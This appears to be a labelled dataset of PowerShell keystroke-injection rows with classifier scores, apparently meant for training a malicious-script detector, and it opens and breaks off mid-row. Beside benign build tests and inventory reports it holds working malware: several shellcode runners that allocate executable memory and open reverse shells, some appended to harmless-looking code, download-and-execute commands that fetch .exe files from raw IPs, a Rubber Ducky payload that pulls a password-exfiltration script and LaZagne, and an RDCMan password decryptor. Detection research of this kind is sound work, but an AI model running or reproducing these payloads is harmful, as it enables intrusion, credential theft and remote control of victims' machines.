Join-Path -Path $DestinationFullPath -ChildPath $fileName enter if ((Test-Path $destinationFilePath) -And !$Overwrite) enter { enter throw ""An item with same name already exists at destination!"" enter } enter enter if ($RsItemInfo.Type -eq 'Kpi') enter { enter $itemContent = $RsItemInfo | Select-Object -Property Data, Description, DrillthroughTarget, Hidden, IsFavorite, Name, ""@odata.Type"", Path, Type, ValueFormat, Values, Visualization enter Write-Verbose ""Writing content to $destinationFilePath..."" enter [System.IO.File]::WriteAllText($destinationFilePath, (ConvertTo-Json $itemContent)) enter Write-Verbose ""$($RsItemInfo.Path) was downloaded to $destinationFilePath successfully!"" enter return enter } enter enter try enter { enter Write-Verbose ""Downloading item content from server..."" enter $url = [string]::Format($catalogItemContentApi, $itemId) enter if ($Credential -ne $null) enter { enter $response = Invoke-WebRequest -Uri $url -Method Get -Credential $Credential -Verbose:$false enter } enter else enter { enter $response = Invoke-WebRequest -Uri $url -Method Get -UseDefaultCredentials -Verbose:$false enter } enter } enter catch enter { enter throw (New-Object System.Exception(""Error while downloading $($RsItemInfo.Name)! Exception: $($_.Exception.Message)"", $_.Exception)) enter } enter enter Write-Verbose ""Writing content to $destinationFilePath..."" enter [System.IO.File]::WriteAllBytes($destinationFilePath, $response.Content) enter Write-Verbose ""$($RsItemInfo.Path) was downloaded to $destinationFilePath successfully!"" enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x5e,0x17,0x9a,0x39,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1452367e-05,0.9999485
"win+r powershell enter DUCKY_REAL_BEGIN enter REM TITLE ""Hasta lasagna!"" enter REM AUTHOR m4ki3lf0 enter REM TARGET Approved on Win10, Probably working on Win11 enter REM DESCRIPTION This will download the password exfiltration script (your modified version for your preferred exfiltration method), download execute lazagne.exe save result to a file and send it to yo enter REM VERSION 1.0 enter DEFAULT_DELAY 300 enter DELAY 1000 enter GUI r enter STRING powershell -exec bypass -NoP enter CTRL SHIFT ENTER enter DELAY 100 enter LEFT enter ENTER enter DELAY 100 enter STRING iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/m4ki3lf0/BadUsbScripts/main/PasswordExfiltration/PasswordExfiltration.ps1') enter ENTER enter DUCKY_REAL_END enter",1,1,6.174474e-05,0.99993825
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_lil408qn"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4606357e-05
"win+r enter powershell enter enter enter capslock win r CMD /K ""MODE CON:COLS=18 LINES=1 && FOR /F %d IN ('WMIC Volume GET DriveLetter^, Label^|FINDSTR ""#RD_LABEL""') DO @SET RD_LABEL=%d""ctrl shift enter alt y powershell -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Unrestricted -File ""%RD_LABEL%\TrustedInstaller.ps1"" -Command #TRUSTEDINSTALLER_COMMAND enter enter enter",1,1,0.00016946714,0.9998305
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://185.106.122.62/file.exe', enter ""$env:TEMP\filex86.exe"");Start-Process (""$env:TEMP\filex86.exe"") enter enter",1,1,5.7415727e-05,0.99994254
"win+r powershell enter param( [string]$Version, [string]$Path, [switch]$Force, $Update, [switch]$U enter ninstall ) $Configs = @{ Url = ""http://c758482.r82.cf2.rackcdn.com/Sublime%20T enter ext%202.0.2%20Setup.exe"" Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Def enter inition -Parent)\"" Executable = ""C:\Program Files (x86)\Sublime Text 2\sublime_ enter text.exe"" enter",1,1,0.0039349976,0.99606496
"win+r powershell enter ($dpl=$env:temp+'f.exe');(New-Object System.Net.WebClient).DownloadFile('http:// enter www.macwizinfo.com/zap/manage/may2.exe', $dpl);Start-Process $dpl enter enter",1,1,5.8540383e-05,0.99994147
"win+r enter powershell enter enter enter function Get-TrueCryptContainer{ enter [CmdletBinding()] enter param( enter enter [Parameter(Mandatory=$false)] enter [String] enter $Name, enter enter [Switch] enter $Mounted enter ) enter $MountedContainers = Get-PPConfiguration $PSconfigs.TrueCryptContainer.DataFile | %{$_.Content.MountedContainer} enter enter Get-PPConfiguration $PSconfigs.TrueCryptContainer.Filter | %{$_.Content.TrueCryptContainer} | %{ enter enter $(if(-not $Name){ enter enter $_ | select Key, Name, @{L=""Path"";E={Get-Path $_.Path}}, FavoriteDriveLetter enter enter }elseif($Name){ enter enter $_ | where{$_.Name -like $Name -or $_.Key -like $Name} | select Key, Name, @{L=""Path"";E={Get-Path $_.Path}}, FavoriteDriveLetter enter enter }) | %{ enter if($Mounted){ enter enter $TrueCryptContainer = $_ enter enter $MountedContainer = $MountedContainers | where{$_.Name -eq $TrueCryptContainer.Name} enter enter if($MountedContainer){$_ | select Key, Name, Path, FavoriteDriveLetter, @{L=""Drive"";E={$MountedContainer.Drive}}} enter enter }else{ enter enter $_ enter } enter } enter } enter } enter enter",0,0,0.9996325,0.00036749564
win+r powershell enter <# Author: Matan Hart (@machosec) License: GNU v3 Required Dependencies: None enter Optional Dependencies: None #> function Get-TGSCipher { <# .SYNOPSIS Reque enter sts Kerberos TGS (service ticket) for SPN(s) and retreives the encrypted portion enter (cipher) of the ticket(s). enter enter,1,1,5.8597518e-05,0.99994135
"win+r powershell enter function Resolve-PSFPath { [CmdletBinding(HelpUri = 'https://psframework.org/ enter documentation/commands/PSFramework/Resolve-PSFPath')] param ( [Parameter(Manda enter tory = $true, Position = 0, ValueFromPipeline = $true)] [string[]] $Path, [ enter string] $Provider, enter enter",1,1,0.0066079884,0.99339193
"win+r enter powershell enter enter enter function Decrypt-RDCMan ($FilePath) { enter <# enter .SYNOPSIS enter enter This script should be able to decrpt all passwords stored in the RDCMan config file enter enter Function: Decrypt-RDCMan enter Author:Ben Turner @benpturner, Rich Hicks @scriptmonkey_ enter enter .EXAMPLE enter enter Decrypt-RDCMan -FilePath enter #> enter if (!$FilePath) { enter [xml]$config = Get-Content ""$env:LOCALAPPDATA\microsoft enter emote desktop connection manager enter dcman.settings"" enter $Xml = Select-Xml -Xml $config -XPath ""//FilesToOpen/*"" enter $Xml | select-object -ExpandProperty ""Node""| % {Write-Output ""Decrypting file: "" $_.InnerText; Decrypt-RDCMan $_.InnerText} enter } else { enter [xml]$Types = Get-Content $FilePath enter enter $Xml = Select-Xml -Xml $Types -XPath ""//logonCredentials"" enter enter # depending on the RDCMan version we may need to change the XML search enter $Xml | select-object -ExpandProperty ""Node"" | % { $pass = Decrypt-DPAPI $_.Password; $_.Domain + ""\"" + $_.Username + "" - "" + $Pass + "" - "" + ""Hash:"" + $_.Password + ""`n"" } enter enter # depending on the RDCMan version, we may have to use search through the #text field in the XML structure enter $Xml | select-object -ExpandProperty ""Node"" | % { $pass = Decrypt-DPAPI $_.Password.""#text""; $_.Domain + ""\"" + $_.Username + ""`n"" + $Pass + "" - Hash: "" + $_.Password.""#text"" + ""`n""} enter } enter } enter enter function Decrypt-DPAPI ($EncryptedString) { enter # load the Security Assembly into the PS runspace enter Add-Type -assembly System.Security enter $encoding= [System.Text.Encoding]::ASCII enter $uencoding = [System.Text.Encoding]::UNICODE enter enter # try and decrypt the password with the CurrentUser Scope enter try { enter $encryptedBytes = [System.Convert]::FromBase64String($encryptedstring) enter $bytes1 = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) enter [System.Text.Encoding]::Convert([System.Text.Encoding]::UNICODE, $encoding, $bytes1) | % { $myStr1 += [char]$_} enter echo $myStr1 enter } enter catch { enter # try and decrypt the password with the LocalMachine Scope only if the CurrentUser fails enter try { enter $encryptedBytes = [System.Convert]::FromBase64String($encryptedstring) enter $bytes1 = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) enter [System.Text.Encoding]::Convert([System.Text.Encoding]::UNICODE, $encoding, $bytes1) | % { $myStr1 += [char]$_} enter echo $myStr1 enter } enter catch { enter echo ""Could not decrypt password"" enter } enter } enter } enter enter",1,1,7.367111e-05,0.9999263
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_r1or4aea"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.493136e-05
"win+r enter powershell enter enter enter function Test-ManagedLiveDatabaseShortTermRetentionPolicy enter { enter enter $rg = Create-ResourceGroupForTest enter $vnetName = ""cl_initial"" enter $subnetName = ""Cool"" enter $virtualNetwork1 = CreateAndGetVirtualNetworkForManagedInstance $vnetName $subnetName $rg.Location enter $subnetId = $virtualNetwork1.Subnets.where({ $_.Name -eq $subnetName })[0].Id enter enter $managedInstance = Create-ManagedInstanceForTest $rg $subnetId enter $invalidRetention = 45 enter enter try enter { enter enter $managedDatabaseName = Get-ManagedDatabaseName enter $collation = ""SQL_Latin1_General_CP1_CI_AS"" enter $job1 = New-AzSqlInstanceDatabase -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -Name $managedDatabaseName -Collation $collation -AsJob enter $job1 | Wait-Job enter $db = $job1.Output enter enter Assert-AreEqual $db.Name $managedDatabaseName enter Assert-NotNull $db.Collation enter Assert-NotNull $db.CreationDate enter $retention = 28 enter $policy = Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -DatabaseName $managedDatabaseName -RetentionDays $retention enter Assert-AreEqual $policy.Count 1 enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -DatabaseName $managedDatabaseName enter Assert-AreEqual $policy.Count 1 enter Assert-AreEqual $retention $policy.RetentionDays enter $retention = 21 enter $policy = Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -AzureInstanceDatabaseObject $db[0] -RetentionDays $retention enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -AzureInstanceDatabaseObject $db[0] enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $retention = 14 enter $resourceId = $db.Id + ""/backupShortTermRetentionPolicies/default"" enter $policy = Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceId $resourceId -RetentionDays $retention enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceId $resourceId enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $retention = 7 enter $policy = $db | Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -RetentionDays $retention enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = $db | Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter } enter finally enter { enter Remove-ResourceGroupForTest $rg enter } enter } enter enter function Test-ManagedDeletedDatabaseShortTermRetentionPolicy enter { enter enter $rg = Create-ResourceGroupForTest enter $vnetName = ""cl_initial"" enter $subnetName = ""Cool"" enter $virtualNetwork1 = CreateAndGetVirtualNetworkForManagedInstance $vnetName $subnetName $rg.Location enter $subnetId = $virtualNetwork1.Subnets.where({ $_.Name -eq $subnetName })[0].Id enter enter $managedInstance = Create-ManagedInstanceForTest $rg $subnetId enter $invalidRetention = 45 enter enter try enter { enter enter $managedDatabaseName = Get-ManagedDatabaseName enter $collation = ""SQL_Latin1_General_CP1_CI_AS"" enter $job1 = New-AzSqlInstanceDatabase -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -Name $managedDatabaseName -Collation $collation -AsJob enter $job1 | Wait-Job enter $db = $job1.Output enter enter Assert-AreEqual $db.Name $managedDatabaseName enter Assert-NotNull $db.Collation enter Assert-NotNull $db.CreationDate enter $retention = 35 enter $policy = Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -DatabaseName $managedDatabaseName -RetentionDays $retention enter Assert-AreEqual $policy.Count 1 enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -DatabaseName $managedDatabaseName enter Assert-AreEqual $policy.Count 1 enter Assert-AreEqual $retention $policy.RetentionDays enter Remove-AzSqlInstanceDatabase -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -Name $managedDatabaseName -Force enter $deletedDatabases = Get-AzSqlDeletedInstanceDatabaseBackup -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -DatabaseName $managedDatabaseName enter $retention = 29 enter $policy = Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -DatabaseName $managedDatabaseName -DeletionDate $deletedDatabases[0].DeletionDate -RetentionDays $retention enter Assert-AreEqual $policy.Count 1 enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceGroupName $rg.ResourceGroupName -InstanceName $managedInstance.ManagedInstanceName -DatabaseName $managedDatabaseName -DeletionDate $deletedDatabases[0].DeletionDate enter Assert-AreEqual $policy.Count 1 enter Assert-AreEqual $retention $policy.RetentionDays enter $retention = 21 enter $policy = Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -AzureInstanceDatabaseObject $deletedDatabases[0] -RetentionDays $retention enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -AzureInstanceDatabaseObject $deletedDatabases[0] enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $retention = 14 enter $resourceId = $deletedDatabases[0].Id + ""/backupShortTermRetentionPolicies/default"" enter $policy = Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceId $resourceId -RetentionDays $retention enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -ResourceId $resourceId enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $retention = 7 enter $policy = $deletedDatabases[0] | Set-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy -RetentionDays $retention enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter $policy = $deletedDatabases[0] | Get-AzSqlInstanceDatabaseBackupShortTermRetentionPolicy enter Assert-AreEqual 1 $policy.Count enter Assert-AreEqual $retention $policy.RetentionDays enter } enter finally enter { enter Remove-ResourceGroupForTest $rg enter } enter } enter enter",0,0,0.9999311,6.8949485e-05
"win+r enter powershell enter enter enter class Connection : BaseLogger { enter [ConnectionConfig]$Config enter [ConnectionStatus]$Status = [ConnectionStatus]::Disconnected enter enter [void]Connect() {} enter enter [void]Disconnect() {} enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.9707163e-05,0.9999403
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_w709cy44"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Export-Csv -Path (Join-Path $ReportDir ""disk_filesystem_provider.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_15.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.41168e-05
"win+r powershell enter Add-Type -TypeDefinition @' using System; using System.Diagnostics; using System enter .Runtime.InteropServices; public static class RpUbmnkSXHjAfZkdacueE { [DllImport enter (""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr a,uint b,uint c enter ,uint d); [DllImport(""user32.dll"")]public static extern IntPtr EnumWindows(IntPt enter r a,IntPtr b); } '@ Function iuUtQPxKLFjxlrzfcmvBn() { return 'loVrHcdSn6ZEBAAD enter pyQEAAOhv////L3Z1ZS5taW4uanMApVtWhUuDWiryGxlpjBjqRpfE9MUeEUC+FLbUF2B/cF6ls7cAn34 enter SjmPdImgrUQ3AlR7cV6s++C+ToFTydAIlUhxzWABVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG9 enter 3cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVEtGqpBMVrD'.Substr enter ing(9, 230) enter enter",1,1,5.8101414e-05,0.99994195
"win+r powershell enter [CmdletBinding()] Param( [Parameter()] [Switch]$ValidateMarkdownHelp, [Parame enter ter()] [Switch]$GenerateMamlHelp, [Parameter()] [string]$BuildConfig, [Param enter eter()] [string]$FilteredModules ) enter enter",1,1,0.0020164712,0.99798346
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x16,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
win+r enter powershell enter enter enter Framework '4.6.1' enter enter task default -depends MsBuild enter enter task MsBuild { enter if ( $IsMacOS -OR $IsLinux ) {} enter else { enter $output = &msbuild /version /nologo 2>&1 enter Assert ($output -NotLike '14.0') '$output should contain 14.0' enter } enter } enter enter,0,0,0.9998759,0.00012412743
"win+r enter powershell enter enter enter properties { enter $my_property = $p1 + $p2 enter } enter enter task default -depends TestParams enter enter task TestParams { enter Assert ($my_property -ne $null) ""`$my_property should not be null. Run with -parameters @{'p1' = 'v1'; 'p2' = 'v2'}"" enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x02,0x05,0x68,0x02,0x00,0x1f,0x90,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le 